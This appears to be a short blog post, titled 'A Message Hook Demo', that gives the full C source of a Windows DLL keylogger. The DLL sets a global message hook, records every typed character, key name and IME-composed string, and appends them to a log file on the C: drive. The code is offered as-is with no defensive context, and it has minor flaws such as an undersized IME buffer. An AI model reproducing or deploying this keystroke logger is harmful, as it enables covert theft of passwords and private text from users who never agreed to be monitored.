A Message Hook Demo

#include "windows.h"
#include "imm.h"
#include "stdio.h"
#define HOOK_API __declspec(dllexport)
#pragma comment(lib, "IMM32.LIB")

HHOOK        g_hHook            = NULL;       
HINSTANCE    g_hHinstance    = NULL;       
BOOL bHooked = FALSE;
DWORD   m_dwLastMsgTime = GetTickCount();
void SaveInfo(char buffer[]);

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{   
    LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);

    MSG* pmsg = (PMSG)lParam;
char strChar[2];
char KeyName[20];
//HWND hwa,hwf;

// 防止消息重复产生记录重复,以pMsg->time判断
if ((nCode != HC_ACTION) ||
   ((pmsg->message != WM_IME_COMPOSITION) && (pmsg->message != WM_CHAR)) ||
   (m_dwLastMsgTime == pmsg->time))
{
   return(lResult);
}
m_dwLastMsgTime = pmsg->time;

        switch (pmsg->message)
        {
  
   //
        case WM_IME_COMPOSITION:
            {
                HIMC hIMC;
                HWND hWnd=pmsg->hwnd;
                DWORD dwSize;
                char lpstr[20];
                if(pmsg->lParam & GCS_RESULTSTR)
                {
                    //
                    hIMC = ImmGetContext(hWnd);
                    if (!hIMC)
                    {
                        //MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
                    }
                  
                    dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
                   
                    dwSize += sizeof(WCHAR);
      ZeroMemory(lpstr,sizeof(lpstr));

                   
                    ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

      SaveInfo(lpstr);
                    ImmReleaseContext(hWnd, hIMC);
      //delete szSave;
                }
            }
            break;
   
        case WM_CHAR:
            {

     if (pmsg->wParam <= 127 && pmsg->wParam >= 20)
     {
      strChar[0] = pmsg->wParam;
      strChar[1] = '\0';
      SaveInfo(strChar);
     }
     else if (pmsg->wParam == VK_RETURN)
     {
      SaveInfo("\r\n");
     }
     else
     {
      memset(KeyName, 0, sizeof(KeyName));
      if (GetKeyNameText(pmsg->lParam, &(KeyName[1]), sizeof(KeyName) - 2) > 0)
      {
       KeyName[0] = '[';
       lstrcat(KeyName, "]");
       SaveInfo(KeyName);
      }
     }

            }
            break;
        }

    return(lResult);
}

HOOK_API BOOL InstallHook()
{
if(!bHooked)
{  
   g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
   bHooked = TRUE;  
}
    return TRUE;
   
}

HOOK_API BOOL UnHook()
{
if(bHooked)
{
   bHooked = FALSE;
   return UnhookWindowsHookEx(g_hHook);
  
}

}

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
   g_hHinstance=(struct HINSTANCE__ *)hModule;
   //InstallHook();
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        UnHook();
        break;
    }
    return TRUE;
}
void SaveInfo(char buffer[])
{
FILE* fpLog;
fpLog=fopen("c:\\report.txt","a+");
fwrite(buffer,strlen(buffer),1,fpLog);
fclose(fpLog);

}


0 评论: